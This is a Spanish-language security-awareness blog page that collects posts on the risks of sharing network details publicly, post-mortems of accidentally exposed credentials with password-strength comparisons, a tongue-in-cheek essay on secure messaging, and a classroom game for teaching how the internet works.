Mostrando entradas con la etiqueta cyber_self_defense. Mostrar todas las entradas
Mostrando entradas con la etiqueta cyber_self_defense. Mostrar todas las entradas

2021/02/16

Consejos para compartir información

Esta entrada es el resultado de emprolijar y extender lo conversado en Servidor MQTT en casa (en red privada)

 

Contexto


MQTT es un protocolo para el intercambio de mensaje en modo publisher/subscriber, esto es, que cada nodo se subscribe a un nombre de "topic" y publica o lee ahí, muy utilizado en IoT.

En una situación normal basta con que un nodo que tiene una dirección IP pública escuche en el puerto apropiado (1883 u 8883) pero a veces los proveedores de internet no dejan pasar el tráfico y además hay que lidiar con NATeos (cuando tras una IP se esconden muchas máquinas).

En la conversación se habla de cómo configurar el router de Fibertel y algunas ideas para diagnosticar y configurar la conexión.
 

En algún momento, uno se siente tentado de decir qué router tiene e incluso la IP, lo cual puede no ser buena idea y también mostrar capturas de pantallas con información de la red.
 

Esta información puede ser aprovechada por algún atacante, veamos los detalles:

 

IP

 

La IP es el punto de entrada para el atacante, el resto es información complementaria.
 
Aún sin tener la IP, el atacante puede mandar un mail a la persona o a todo el grupo con algo interesante que contenga un link a un sistema que tome nota de la IP de origen, que probablemente sea la de interés para el atacante. Bien puede ser en el caso de MQTT, "tengo este servidor si querés probar" o "fijate esta documentación".

 

Puertos abiertos  

 

En esta imagen se pueden ver los puertos abiertos y unas etiquetas que me sugieren la función de los equipos:

 
Port Forwarding
Port Forwarding

 

Direcciones MAC

 

MAC Addresses
MAC Addresses


 
En la otra, las direcciones MAC. ¿qué importa si son internas? Pues ocurre que la mitad izquierda es el identificador de la marca de la placa y hay bases de datos que incluso llegan a determinar qué equipo, por ejemplo si es una RPI, un router, un celular, la marca, si es placa wifi o ethernet, depende... y cuando no está en la base de datos podés suponer que es un VM.
 
Veamos... mmh, aburrido, pero algo es:
 
68:b5:99    Hewlett Packard
40:30:04    Apple
58:55:ca    Apple
00:23:6c    Apple
4c:0f:6e    Apple

 
Estoy seguro que había manera de obtener más información, pero no recuerdo dónde, lo anterior lo saqué de los dos primeros buscadores online, luego, escarbando un poco más y haciendo el proceso inverso a modo de ejemplo sin relación con las direcciones obtenidas:
 

 
00-10-5A-73-7F-81 corresponde a "Fast Etherlink XL in a Gateway 2000".
 
002000f0f85e es "Lexmark (Print Server)".
 
Las direcciones 02:42:xx:xx:xx:xx son de Docker.

 
Esto se combina con la información anterior para los puertos expuestos a internet.

 

Modelo Router

 

Podés decirlo explícitamente en un mensaje o como en la primera imagen estar en la misma captura. 

 
Fijate que alguien que se dedica quizás pueda determinar marcas e incluso modelos de dispositivos por otra información de la imagen, aunque hayas borrado de ésta lo evidente, por ejemplo por el diseño o por mensajes tipo "soporta 32 entradas".

 

Combinación

 

Combinando toda esta información, el atacante esta en mejores condiciones sin haberte tocado. Esto es que te gastaste un montón de plata en tu IDS (Intrusion Detection System: sistema que podría detectar una exploración de red equivalente y alertarte) y no te detectó nada. Si el atacante quiere explorarte desde afuera o ya logró meter apenas el piecito, su exploración va a ser mucho más específica y discreta, reduciendo las probabilidades de que le detectes.


Pero la pregunta es, ¿por qué y cómo podría alguien atacarme?

 

Cómo

 

Conociendo la IP y los dispositivos disponibles, puede haber que alguno tenga vulnerabilidades conocidas y quien ataca sólo tiene que buscar en internet un script que sirva.

 

Por qué

 

Yo lo haría para divertirme o practicar, al menos la parte de exploración, si no fuera por que a la gente no le gusta que le hagan estas cosas, igual podría hacerlo desde un nodo gratuito de aws/azure/googleXXX. Además se parece demasiado a trabajar y eso le quita la diversión

Otras personas podrían estar buscando armar una botnet o tener una curiosidad menos restringida que la mía.

O quizás trabajás en un lugar importante y sos sólo un medio para llegar hasta ahí. Considerá que últimamente (desde el covid) ha aumentado de modo infernal el trabajo desde el hogar, haciendo que hayamos pasado de un grupo con un cierto conocimiento técnico a una inmensa masa heterogénea de usuarios, todos conectados por VPNs a sus trabajos. Como atacante no me interesás, me interesa tu VPN y tengo que pasar por tu casa. Es como si vivieras en una casa con sótano al lado de un banco.

En la lista donde se originó esta conversación hay 5000 personas, con un 0.1% de malicia ya tenés 5 personas interesadas. Además, esta lista es pública, puede estar siendo monitorizada por una cantidad indefinida de personas.

En realidad, el mayor riesgo que corrés en el día a día con tu router conectado a internet (no hay más remedio, no? para qué querrías el router si no?) no viene por acá sino de los ataques automátizados, para los cuales tenés que hacer hardening, a continuación.
 
Tambien está la cuestión de disciplina e imagen, puede ocurrir que un potencial cliente o empleador exigente considere en sus decisiones tus acciones online.

 

Cómo lidiar con el error

 

  • Vía web eliminar el mensaje, luego reenviarlo correctamente. Igual hay a quienes les ha llegado por mail o ya lo han visto en la lista desde la página.
  • Cambiar los puertos.
  • Refrescar la IP si era dinámica.
  • Hardening de los equipos (esto hay que hacerlo de todos modos...)
    • Cambiar credenciales por defecto
    • Poner credenciales fuertes y/o usar certificados
    • Actualizar firmware
    • Poner un WAF o firewall configurado para lo que estés protegiendo
    • etc..
Cuando ves que fue otra persona la que publicó su información, consultale antes de avisar públicamente para darle oportunidad de protegerse. Aunque yo pido permiso, "la ley de la selva de la ciberseguridad" contempla que cuando otro mete la pata se le avisa pero si no responde, pasado un tiempo se hace público el asunto para el beneficio común. Y hay quienes por torpeza o porque no están de acuerdo con la Responsible Disclosure, te pueden prender fuego.

 

¿Cómo hago para compartir información en la lista de modo útil y menos inseguro?


Ok, ya tengo para este tipo de información un cierto criterio para elegir si exponerla o no, pero, no me dedico a la seguridad de la información, ¿cómo hago para no volver a meter la pata? Es una interminable cadena de "si" y relaciones tenues entre el riesgo que estés dispuesto a aceptar, el costo de ofuscar la información y los beneficios de exponerse.

La manera es ponerse en el lugar del otro y pensar si la información que se expone nos hace únicos, no es sencilla de obtener por otros medios, podría formar parte de una cadena de dependencias y para acceder a un recurso protegido.

Todo esto basado en que hay que saber lo más posible de tecnología y prestar atención a corregir cuando metas la pata.






2018/08/30

En casa de herrero... 2

Poner 2 en el título es trampa, un truco de marketing, pues le pasó a otra persona.

Para quienes se venían regocijando con mis desventuras, les traigo otra historia parecida y el aprendizaje.

Lo que ocurrió fué que en medio de una difusión pública, pasando de una ventana a otra, quedó expuesto un documento con credenciales. Aunque la persona rápidamente notó el error y sacó el documento, obviamente era tarde, pues en la virtualidad es muy sencillo desplazarse hacia atrás en el tiempo y pausar.

Fue interesante notar que la clave, aunque era larga, tenía un importante defecto, que es que era legible al estar compuesta por palabras. Esto no es tan malo en sí, lo es por que nos da un fuerte indicio de cómo puede estar conformada esta misma clave en el futuro o en sistemas cercanos.

Es como si mi regla de claves de web mails fuera:

proveedorAñoPalabra

En particular

gmail2007canulos


Como que para atacarme en yahoo voy a probar con

yahoo20##xxxxxxx


Esta clave me da un nuevo concepto que voy a llamar "Falsa sensación de usabilidad", que es amigo de "Falsa sensación de seguridad", pero, como es evidente, desde el punto de vista de UX.

Comparando gmail2007canulos con dbHg96Pecfdu86ev sin duda la primera es más fácil de recordar y en caso de tenerla escrita o en un dispositivo distinto al de uso, de transcribir a mano, cosa para lo que la segunda no se presta

La probabilidad y estadística y la teoría de la información no es lo mío, pero intuitivamente puedo apreciar las medidas de las claves según varias fuentes:


[1][2][3]
dbHg96Pecfdu86ev 3.62573.52178.3
aaaaaaaaaaaaaaaa1566.7
gmail2007canulos3.62542.05462.8

Los numeritos cuanto mayores mejores.

¿Como que no es tan malo el que teníamos, no?


No, es muy malo, por que ya conocemos gmail2007, nos queda:

canulos2.80735 16.0424.1



Si no necesitamos recordar, podemos elegir la primera. Si necesitáramos poder escribirla pues la tenemos en papel u otro dispositivo y el login en otra, debemos tener la precaución de no usar ciertas letras. Esto debilita levemente la clave pues reduce la combinaciones a explorar pero excluye los problemas de lectura como:

1l
0O
6G

Si no te parece importante, te desafío a que en un sistema de tres intentos no te bloquees con esto:

aUIS06lxf


Acá podemos ver el diálogo de creación de una entrada en un gestor[4] de claves, es la una opción ("exclude look-alike characters"):



Tambien se podrían agregar delimitadores para facilitar la lectura:

dbHg96Pecfdu86ev  
dbHg.96Pe.cfdu.86ev
dbHg-96Pe-cfdu-86ev
dbHg_96Pe_cfdu_86ev


Estos delimitadores mejoran la resistencia ante un ataque de fuerza bruta. Para quien conoce nuestro esquema sólo triplica el tiempo de exploración.

Una vez que hemos llegado a guardar las credenciales en un gestor, si difundimos accidentalmente, sólo relevamos en qué sitios tenemos cuentas, que no es tan grave y el usuario, que sería mejor no divulgarlo tampoco, pero dista de las credenciales.

Por lo general los sitios y usuarios podemos considerarlos información pública, ya que basta con entrar en esos sitios para ver nuestros aportes e identificarnos. Es por ello que es en extremo importante proteger lo realmente secreto, que es lo único secreto, la clave.




Como el gestor permite copiar en el portapapeles la clave sin verla, en ningún momento hay riesgo de que pueda divulgarse. Al cabo de diez segundos se borra del portapapeles, así que la oportunidad de pegarla accidentalmente en otro lado que no sea el campo de autenticación es baja.



Concluyendo, el procedimiento de respuesta dicta que al menos hay que:
  • Cambiar la clave en el sistema afectado.
  • Evitar que el video quede online.
  • Cambiar la clave en el documento.
  • Notificar a los usuarios de esa clave si los hay.
  • Editar el video.
  • Publicar el video según lo planeado.

El procedimiento de prevención agrega que:
  • Sacar la clave de documento y ponerla en un almacén, por ejemplo keepass.
  • Usar una clave generada al azar de no menos de 16 caracteres.
  • Intentar recordar cerrar los documentos y aplicaciones sensibles antes de iniciar una difusión pública.

Sólo nos resta tener una clave muy fuerte y recordable para el gestor, usando una técnica como la de https://xkcd.com/936/

No estoy de acuerdo con las cuentas ahí expuestas, pues siempre debo asumir que si tengo un esquema de claves, el adversario lo conoce, pues al usarlo en distintos sitios, alguno puede haber sido vulnerado.

No es:

correcthorsebatterystaple 3.3638649.495 93.6



65 ^ 25 -> 1.4272477e+45 combinaciones


es (palabras en el diccionario) ^ 4, siendo diccionario un número bajo:

si fuera 2000 -> 1.6e+13
si fuera 10000 ->  1e+16

igual es un poco mejor que canulos (65^7 -> 4.9022279e+12).

canulos2.80735 16.0424.1

Te invito a reflexionar sobre el tema, hacer las cuentas y corregirme si me equivoqué en ellas o los conceptos.


[1] http://www.shannonentropy.netmark.pl/
[2] https://apps.cygnius.net/passtest/
[3] http://rumkin.com/tools/password/passchk.php
[4] algunos gestores
     https://www.keepassx.org/
     https://keepass.info/



2018/07/18

En casa de herrero...

Resumen de lo que pasó


En un Viernes Ñoño[1], al iniciar el hangout ví que estaba en pantalla la parte de las crecenciales del machete de cómo iniciar el hangout y el streaming. Como no estaba seguro de no haberlas difundido, las cambié, afectando a un curso remoto que tuvo una interrupción hasta haber obtenido las nuevas credenciales.


No tengo ninguna, ninguna duda de que soy un salame, pero haré un análisis y pueden haber frases, ideas o interpretaciones que pueden parecer justificaciones pero no lo son, son descripciones que intentan ser objetivas.

El objetivo es comprender lo que pasó, las causas y ver que no ocurra otra vez.


Detalles de lo que pasó


Era la primera vez que hacía un hangout de este tipo, agendado y con streaming. Las otras veces se encargó otra persona y no ví nada del proceso.

Recibí un instructivo muy claro, que seguí al pié de la letra horas antes. En una parte decía que se abriría un hangout, pero parece que eso vale para los que son "ahora", no los agendados.

Llegué más o menos en hora, no tan justo como otras veces.

Inicié el hangout cerca de la hora prevista.

Comencé a revisar que las ventanas que quería estuvieran en los lugares apropiados.

Ví que la del instructivo estaba a la vista con las credenciales a la vista (falla 1), la cerré inmediatamente e intenté sopesar las implicancias.


No estaba seguro de haber compartido aún nada, tenía el juicio un poco nublado (falla 2).

Inicié el escritorio compartido.

Al terminar la charla (falla 3), quise revisar el video, pero aparentemente le lleva un tiempo el render, no lo podía ver.

Ante la duda, decidí tomar un solución drástica por si había mostrado de algún modo algo, cambié las credenciales (falla 4) y avisé (fallas 5 y 6).

Intenté modificarlas en el documento pero tenía acceso de sólo lectura.

En un curso se cortó el hangup por el cambio, se regeneró una clave y se retomó el curso.

Veamos el detalle de las fallas que he podido identificar:

Falla 1: lo que nos trae acá, la posibilidad de haber divulgado las credenciales.

Falla 2: En este momento estaba haciendo tres cosas simultáneas: configurar el entorno remoto, iniciar la charla y lidiar con el error. Esta es la base de los ataques de Ingeniería Social, crear una distracción para obtener algo de nosotros. En este caso fue un ataque autoinflinjido.


Falla 3: Todo lo que hice, debí hacerlo en el momento mismo de la falla 1, aunque retrospectivamente la exposición hubiera sido similar debido a la demora del render.

Falla 4: Al cuidar la confidencialidad de la clave para resguardar la integridad del canal, afecté la disponibilidad.

Falla 5: No avisé con insistencia, esperando un acuse de recibo, lo que hubiera alertado de la situación mucho más rápido. Usé la misma conversación en lugar de modificar el asunto y marcarlo como "[urgente]".

Falla 6: Cambié la clave en lugar de consultar. Eso no está del todo mal, pero no es consistente con que cambié la clave al finalizar, como que tanto apuro no había.



Valores


Todos nos preguntamos para qué querría alguien las claves de esto.


Vandalismo personal y gratuito


Si alguno de los organizadores o el proyecto mismo le cae mal a alguien, esta persona puede utilizar tanto el incidente como las credenciales mismas para intentar desacreditar.

Despues hay gente que lo hace por que sí.

Intereses contrapuestos


Si alguien se ve económicamente afectado por el proyecto CIAA, tanto el daño como la mala prensa ayudan a desacreditarlo.

Plataforma de ataque


Teniendo acceso se puede generar una campaña de desinformación o spam tanto hacia la comunidad como hacia afuera.

Imaginate como se me pusieron los pelos cuando ví la cadena pocas horas despues preguntando a dónde había ido a parar un repositorio. Por suerte vi la respuesta a la vez, aunque habría que terminar de investigar que realmente no haya relación. (Me han confirmado que no hubo relación)

Ordenamiento


De darle un orden de importancia a las fallas, sería este, pero no está escrito en piedra:

Falla 3: demora en reacción.

Falla 4: denegación de servicio.

Falla 1: divulgación de información sensible.

Fallas 0 y 2: son las de proceso, no tener previsto esto y exponerse a situaciones innecesariamente complejas, colaboran con la 1.

Fallas 5 y 6: comunicación defectuosa,colaboraron con la 4.

Mejorías

Estas son algunas medidas que se me ocurren:

Agregar al manual un ámbito de difusión


En general pero más cuando hay información sensible, es mejor explicitar cual es el público. Al menos para que quien recibe el documento piense "uh, como en las películas" y ya tenga aun sin pensarlo una actitud distinta.

Advertencia con respecto a la publicación accidental de cualquier tipo y como proceder en caso de falla


Esto es por dos motivos: en parte para prevenir, si me estás explicando como proceder si algo sale mal le estás dando protagonismo a la falla y puedo estar más atento. Pero fundamentalmente es que al estar  en el momento de la falla, es mejor ya contar con información pues es difícil pensar bajo presión.

Separar los canales

Si todos los documentos que requieren la inclusión de credenciales tienen una parte común de credenciales, se vuelve rutina y se pierde. Además empieza el problema de la sincronización cuando distintos documentos refieren a procesos con la misma cuenta.
La idea es entonces tener en un documento o canal aparte las credenciales, con permisos más estrictos y el foco puesto en que son credenciales.

Pero todo esto tiene un costo, que debe ser menor a lo que estamos protegiendo.


Pero, no ha pasado antes ni hay perspectivas de que vuelva a ocurrir


Aunque no hay un adversario de por medio como en [2], está presente el mismo ingrediente: alguien que tiene que hacer varias cosas a la vez. Si no se puede evitar, hay que tener "defensas" proactivas, no reactivas que fue lo que se activó en este caso.

Reflexiones

Con respecto a mi subjetividad, es evidente la falla por estar en una situación para mi compleja y nueva. Estos mismos motivos son los que causan otras fallas de seguridad en vivo y accidentes.

Diferencio "en vivo" como las que se producen durante un incidente como puede ser una intrusión o ataque de denegación de servicio en contraste con las de diseño e implementación, pese a que aunque no sea en el instante, durante dias, semanas o meses la presión de sacar un producto puede producir resultados adversos para la seguridad.

Pude haber aprovechado que habían presentes dos compañeros de trabajo que me pudieron haber supervisado, quizás detectado y seguramente ayudado a evaluar, pero tuve la presión auto impuesta "de negocio" de que el hangout ya estaba en marcha y me resultaba muy interfiriente cerrarlo y crear uno nuevo, cosa que pensé, pero a la vez tambien pensaba que por más que lo borrara ya se había difundido, todo me llevaba a la solución standard ante la sospecha de compromiso de credenciales:

Regenerarlas

¿Hubo una falla 0?

La pregunta es si el incidente se inició en el momento con la falla 1 o antes, al no haber tomado recuados para que esto no ocurriera. Si en el documento hubiera habido una advertencia clara para que esto no ocurriera, las probabilidades hubieran bajado.

Es verdad que fué una situación medio inesperada el tener que armar el entorno, de haberlo podido ver o practicar antes, seguramente me hubiera dado cuenta de "uh, fijate que hay que cerrar esta ventana antes de iniciar", lo sé por que me paso todo el día haciendo eso.

De ahora en más, si se aplican las mejorías propuestas y se difunde entre el ámbito de difusión, cualquier evento futuro sin duda se iniciará con la falla 1.

Escenario ideal

En mi opinión, sería este:

Supongamos que se genera la divulgación (Falla 1) pese a estar prevista (Falla 0). Inmediatamente se cambia la clave (Falla 3) y se comunica correctamente a la espera de respuesta (Falla 5), disminuye drásticamente el margen de denegación de servicio (Falla 4).

¿Por qué tenemos de todos modos la Falla 1, la divulgación accidental? Por que shit happens, es muy difícil evitar la Falla 2 (hacer varias cosas a la vez) de modo económico, tendría que estar una persona que expone acompañada de una que opera y otra que esté atenta a resolver los errores que puedan surgir. Ah, y además que estas personas no hayan estado trabajando todo el día antes de iniciar estas tareas.


Otros casos


Equivalentes a este:

En los segundos 11 a 13 se vé como el muchacho pega del portapapeles a un campo de texto unas credenciales.

  • https://www.youtube.com/watch?v=b3cf6oxqpr0

Más...
  • https://www.digit.in/networking/2014-fifa-world-cups-wi-fi-password-revealed-accidentally-23101.html
  • http://www.dailymail.co.uk/news/article-5279525/Photo-Hawaii-emergency-agency-shows-password-Post-it.html
  • https://www.gq.com/story/sean-spicer-password-tweet
  • https://nakedsecurity.sophos.com/2012/11/21/prince-william-photos-password/
  • https://www.wsj.com/articles/uniteds-cockpit-door-security-codes-inadvertently-revealed-1494794444?mod=mktw

Ademas existe otro tipos de casos equivalentes pero con una mecánica distinta, como es enviar información sensible sin ofuscar:
  • https://www.theguardian.com/technology/2015/jul/15/confidential-personal-data-release-accident-councils-nhs-police-government
 o a destinos equivocados

  • https://thehackernews.com/2017/07/sweden-data-breach.html
  • https://productforums.google.com/forum/#!topic/gmail/PuzbZdyifdU

Un poco más profesional, este es un buen resumen
  •  https://securityintelligence.com/the-role-of-human-error-in-successful-security-attacks/
pero las fuentes que cita ya no existen más o son viejas, mejor esto
  • https://www.verizonenterprise.com/verizon-insights-lab/dbir/



Opiniones muy personales


Muy personal, salteable.

Volviendo al párrafo inicial de justificaciones vs descripciones, al analizar un problema de este tipo, siempre intendo ponerme en el lugar de cada uno de los actores involucrados y ser lo más estricto posible, pues mi objetivo no es hallar responsabilidades civiles o penales para culpar y castigar, si no para corregir y evitar. Puede parecer entonces que la responsabilidad va recayendo de modo desproporcionado; si se hiciera una lista con los actores y sus porcentajes de responsabilidad, la suma daría muy por encima de 100%, pues al ir rotando la lupa distorsiona el protagonismo.

Lo hago así pues para cada actor su parte es sobre la que tiene posibilidad de actuar y modificar.

Ejemplo: el servicio meteorológico le erra, da un porcentaje de probabilidades de lluvia relativamente bajo y pese a mi impresión, no llevo paraguas y luego llueve. No me sirve de nada culpar al servicio meteorológico, a lo sumo mi confianza en su pronóstico.


Otro ejemplo, real, otro ángulo. El otro día estaba seleccionando ropa y disfraces viejos para descartar de una de las personas a cargo que tengo que estaban tirados por el suelo de la habitación. Levanté el bulto, seleccionamos un par de cosas que se quedaban y el resto se fué, junto a una pantufla muy adorada.

Desde mí, el error fue no revisar bien. Desde la persona afectada, el andar tirando todo por ahi.

Desde afuera, fue mi responsabilidad por no revisar bien. Y así le digo y si no hubiera sido tan adorada la pantufla tambien le hubiera dicho su parte para que lo aproveche, pero a veces hay que medir bien lo que uno hace para no producir más daño que beneficio.


Conclusiones


Los costos de este incidente fueron:
  • Sufrimiento para el docente del curso afectado.
  • Pérdida de su tiempo y sus alumnos.
  • Disminución de la confianza operativa de la organización en mi.
  • Las muchas horas que me ha llevado pensar y escribir esto.

Las ganancias pueden ser:
  • Mejora en el proceso para evitar futuras ocurrencias.
  • Que quienes lean esto que no les ocurra algo parecido en otros ámbitos.


[1] https://groups.google.com/forum/?hl=en#!topic/embebidos32/j5M2RzadM3I
[2] http://seguridad-agile.blogspot.com/2012/06/offtopic-robo-stallman.htm






2015/11/07

Solución definitiva a la comunicación segura

El otro día en la eko11 me hice nuevos amigos, como Iván @HacKanCuBa, aunque quizás ya lo conocía de antes, pero bueno, es el problema de tener sólo 64 Kb (https://twitter.com/dev4sec/status/660485176691138560). Hablábamos de temas que no vienen al caso cuando surgió un interesante spin off, relacionado a mensajería segura.

Por supuesto no recuerdo todos los detalles ni el orden ni quién dijo qué, asi que me tomaré algunas libertades con el relato, eliminaré las personas, agregaré docenas de detalles asumidos durante la conversación y pasaré a modo "ensayo" o "charla magistral". Prometí escribir esto en diez minutos, así que quizás hayan algunas inexactitudes, reclama y señala, por favor. Faltando a mi costumbre no he puesto citas que respalden lo que digo, muchas ideas son suposiciones.

En la actualidad la manera menos insegura de comunicación remota es mediante cartas en papel


Todo mensaje es eventualmente interceptable, sobre todo en el caso de las computadoras, dado el control existente sobre los nodos y canales. Esto incluye mail, foros, sms, chat, p2p, conversaciones telefónicas, lo que quieras.

Existen técnicas para ocultar el árbol en el bosque que cuentan con que el adversario no reconozca a un mensaje como tal. El problema es que si tiene todos los mensajes, en algún momento podría reparar en que algo se le ha pasado y revisar los mensajes viejos.

Como el almacenamiento no es gratis y tus mensajes ocupan lugar junto al de muchos otros objetivos, es importante lograr que los mensajes no sean reconocidos y sean descartados.

En apoyo a este punto se había dicho, creo que Snowden, que la inteligencia británica conserva durante unos pocos días todo el tráfico que logra ver de todo el mundo, implicando que luego buena parte se descarta. El criterio de descartar seguramente tiene que ver con que los mensajes califiquen y podemos imaginar que puede darle valor a un mensaje:
  • origen y destino, ya sea persona, cuenta, dominio o ip.
  • palabras claves
  • que no haya podido ser descifrado
  • correlación con otros eventos (supongo que por las dudas se conservan todos los mensajes N tiempo antes y despues de algún hecho importante de la realidad)


Para optimizar, probablemente se usen agentes recolectores en los blancos como finfisher, que tienen la ventaja de preseleccionar lo de interés.

Luego está el cibercrimen. Si tu máquina que ha pasado desapercibida para un organismo de inteligencia es víctima de malware común, quizás una mafia de Europa oriental esté recibiendo información a la que no dará valor, pero si sus servidores son capturados por las fuerzas del orden, ellos sabrán reconocerlo.

Y siempre queda el análisis forense, la capacidad de recuperar información pasada y supuestamente descartada analizando la memoria y disco de tu máquina.


De todo esto, para mí, lo fundamental es separar tu identidad real de la virtual, lo cual es muy difícil:


  • no debe haber relación por ips, mac address de wifi o bluetooth, cuentas de mail o social media
  • no debe tener un patrón de tráfico (horas, ubicaciones) similar
  • no debe tener una red de contactos similar 

En varias entradas ya he opinado al respecto, quizás debería reescribirlas de modo más coherente y actualizado. Va PostIt al backlog. 


Como dijo Gera en ekoXX, no recuerdo cuál, "Facebook me conoce aunque no tenga cuenta en Facebook, por todos los que me han invitado a unirme"


El correo común es mucho más difícil de interceptar por que no es automatizable. Hay que elegir cuales cartas evaluar, para lo cual rige bastante todo lo del análisis de tráfico ya mencionado. 

Luego hay que ver dentro de cada carta. De esto no sé nada, aparte de que se pueden abrir y volver a cerrar las cartas con vapor y me han dicho que se puede examinarlas sin abrirlas con un tomógrafo, lo cual debe ser bastante carito.

Se puede utilizar papel fotográfico sin revelar, de modo tal que si alguien expone la carta esta se arruina. El problema es que hace falta equipo especial y es más pesado el papel, comienza a destacar por encima del resto, no lo que queríamos.

Se puede usar tinta invisible, pero supongo que con un tomógrafo o similar es legible.

Y no estoy considerando en detalle el objetivo por parte del adversario de ver nuestra carta y que nos llegue sin que sepamos que ha sido interceptada.

El problema restante es que una vez que el adversario se ha hecho de nuestro mensaje, lo puede leer. Hace falta cifrarlo y aquí perdimos, pues cualquier cifrado que no esté hecho por una computadora es rompible por una computadora, por mera fuerza. Aunque estés un año haciendo cuentas para cada mensaje, igual la computadora te lo va a romper en segundos.

Volviendo a la conversación con Iván, pensamos en cifrar, imprimir, enviar por carta, scanear, OCR, descifrar. Con esto combinamos la capacidad de cifrar de las computadoras sin darles la ventaja del control sobre los canales de comunicaciones.

Y hemos vuelto a que estamos usando computadoras, blanco de análisis forense, emisiones electromágneticas y demases.

Si no fuera por la solución a la que arribamos posteriormente, es con lo que me quedaría. Obviamente con computadoras a las que le quitamos la capacidad de comunicación y almacenamiento y las usamos sólo para eso, probablemente arrancando de dvd, sin persistir nada, con impresoras básicas sin pooles. Quizás se podría reformular una impresora multifunción, va PostIt a backlog pero no el mío, jaja.



La solución definitiva


Finalmente, deseperados, arribamos a la solución definitiva, que usa papel, los mensajes son ilegibles y no usa computadoras: utilizar médicos que escriban nuestros mensajes y farmaceúticos que los lean.

Si queremos duplex necesitamos un médico y un farmaceútico en cada nodo, claro.


Los mensajes deben ser breves, tantas recetas podrían llamar la atención.

Cualquiera podría cuestionar que el adversario puede tener farmaceúticos. Si, seguro, pero nosotros ya tendriamos a los mejores, los que no necesitan preguntarle al paciente nada para terminar de interpretar la receta. No deben haber tantos.





2014/11/06

Juego de Piolines




La receta es muy sencilla


Se distribuyen piolines de menos de un metro entre los concurrentes, que deberían ser más de diez. Las personas deben tomar uno o más piolines y conectarse con las cercanas. Esto va a formar una red.

Las personas representan routers y los piolines conexiones.

Se necesitan dos personas, situados en lugares opuestos para que hagan de Servidor y Navegante, teniendo un solo piolín el Navegante.

Hay que tener preparados varios diálogos en tarjetas. De un lado deben tener un Origen y un Destino, por ejemplo:



De uno u otro lado una fracción que representa la posición de este Paquete con respecto al total.

Del otro lado, la Petición


 o la Respuesta, con su render como gentileza.



De este modo estamos representando:

Origen y Destino            Información del encabezado IP
Paquete/total                  Información TCP
Nombre host                  Información del encabezado HTTP o SNI
Petición                          Cuerpo del mensaje HTTP

El primer diálogo se hace con autenticación con envío de credenciales con http y se muestra como los Nodos intervinientes pueden ver el contenido de las tarjetas.

Luego, se repite colocando las tarjetas en sobres, escribiendo en el sobre únicamente las direcciones. Se puede poner el nombre de host en las Peticiones para representar SNI. En este caso tenemos una Respuesta:


En el Destino yo he puesto el nombre en lugar de la IP y en el Origen la IP (y viceversa en las Respuestas), para recalcar que el Navegador tiene IP aunque no nombre.

Se explica que a diferencia del juego, en la realidad no se pueden abrir los sobres, no por ser una regla sino por que es prácticamente imposible.

La tercera actividad es mostrar resolución de nombres y quizás enrutamiento, pidiendo a alguien que oficie de servidor de DNS. El Navegador recibe de la Persona un pedido a un dominio y le pregunta al DNS cual es la dirección IP correspondiente. Una vez que la tiene el Navegador envía la Petición al Nodo al que se halla conectado, el cual decide hacia donde reenviarlo utilizando un mapa aproximado. Se explica tambien que los paquetes son copias y que pueden haber duplicaciones y extravíos.

La cuarta es mostrar como el DNS puede haber sido comprometido y el papel de los certificados en detectar la situación.

La quinta es mostrar las cookies, mediante su agregado al mensaje, sin escribirla sino adjuntando otra tarjeta.


Salvo lo de los cookies, de un modo un otro he realizado  con algunos grupos todas las actividades, con otros menos. La he realizado con quinto, sexto y séptimo grado de primaria, un grupo de quinto y sexto año de secundaria y algunos colados en un break de la Ekoparty 2014, un grupo de profesionales diversos, en el Agile Open MDP 2014, en Agiles Argentina 2014 y en Agile Open Educación 2014, en este último caso con dos o tres personas, sin piolines.


En caso de niños, la red se rompe, arregla y reconfigura continuamente. Lejos de retarlos, se les explica que así es Internet en realidad y su origen militar. Tambien es conveniente tras la primera actividad retirar los hilos y que las tarjetas circulen por todos siguiendo un único camino, para disminuir la distracción.

En mi experiencia, se puede utilizar este juego como actividad disparadora para explicar otros temas, como el almacenamiento de mensajes y credenciales en aplicaciones web ligándolo a privacidad y la conveniencia de no reutilizar contraseñas en distintos sitios.

En particular he explicado la diferencia entre la Persona, el Navegador y las librerías o el sistema operativo, por ejemplo: "La Persona pide ir a un sitio al Navegador. Este arma una parte de la Petición y se la pasa al sistema operativo, el cual avergua la IP y arma la Petición efectiva."

No lo he hecho, pero se podrían mechar diversos temas criptográficos, protocolos de enrutamiento, ingeniería social, virtual hosting. Depende del tiempo, del nivel de los participantes y de cuanto sepas. Como es de esperar, recomiendo que sólo se expliquen los temas que se dominan. Esta es una guía para el juego, no para los temas.

El otro juego que he desarrollado es http://seguridad-agile.blogspot.com/2011/05/juego-agile-ul-ubiquitous-language.html, hace más de dos años, como que inventar juegos no es lo mio.










2014/01/07

La vida real

El identificador de llaves


Hace ya muchos, muchos años, el Correo Argentino ofrecía un servicio que consistía en poner un identificador a tu llavero que decía "en caso de hallar este llavero por favor introducir en cualquier buzón".

Hoy en día, si, en DIA%, disco y no se donde más, ha renacido la idea. No es algo a lo que preste mucha atención, puede haber renacido muchas veces.


En otra ocasión, he hecho un paralelismo entre lockpicking (seguridad física) [1] y ataques a sistemas de autenticación informáticos. El tema subyacente es que las llaves son al hogar lo que la clave al sistema informático.



¿Qué hacés cuando sospechás que tu contraseña a una cuenta ha sido comprometida? Sencillo, vas y la cambiás lo antes posible. El costo es ínfimo, son unos pocos minutos.

¿Qué hacés cuando perdés las llaves? Vas y cambias la cerradura o su combinación y todas las copias que tengas. Puede ser bastante caro. ¡Ah! y si en ese llavero estaban las llaves de la puerta del edificio le avisás al consorcio y cambian todos... ja ja ¡ILUSO!

¿Qué hacés cuando te mudás a un nuevo hogar? ¿Cambías las cerraduras?



Comencé a escribir con un prejuicio, asumiendo un descuido de las llaves equiparable al que hay con las contraseñas en general. Sin embargo, una vocecita me sugirió que antes de proseguir averiguara y me llevé una grata sorpresa, las personas que contestaron a mi encuesta son mucho más cuidadosas de lo que esperaba.


Ignoro la calidad de los datos, ya que existen respuestas "correctas" (siempre-si-si), no descarto que haya un cierto desplazamiento, además de muchos que quizás no contesten por no poder dar las respuestas correctas.

Hacer esta encuesta es muy incómodo para ambos, si alguien pierde pronto sus llaves y su casa es saqueada no va a haber manera de quitarle una desagradable sensación de desconfianza hacia mi por el resto de su vida, asi que agradezco mucho a quienes confiaron en mi.

He hallado un muy buen comportamiento, no sé si es que la población sobre la que hice la encuesta está de algún modo sesgada, probablemente sí. La única información extra con la que cuento es si cada persona es de seguridad, técnica agile o normal (sea lo que sea que eso signifique...)

Volviendo al problema


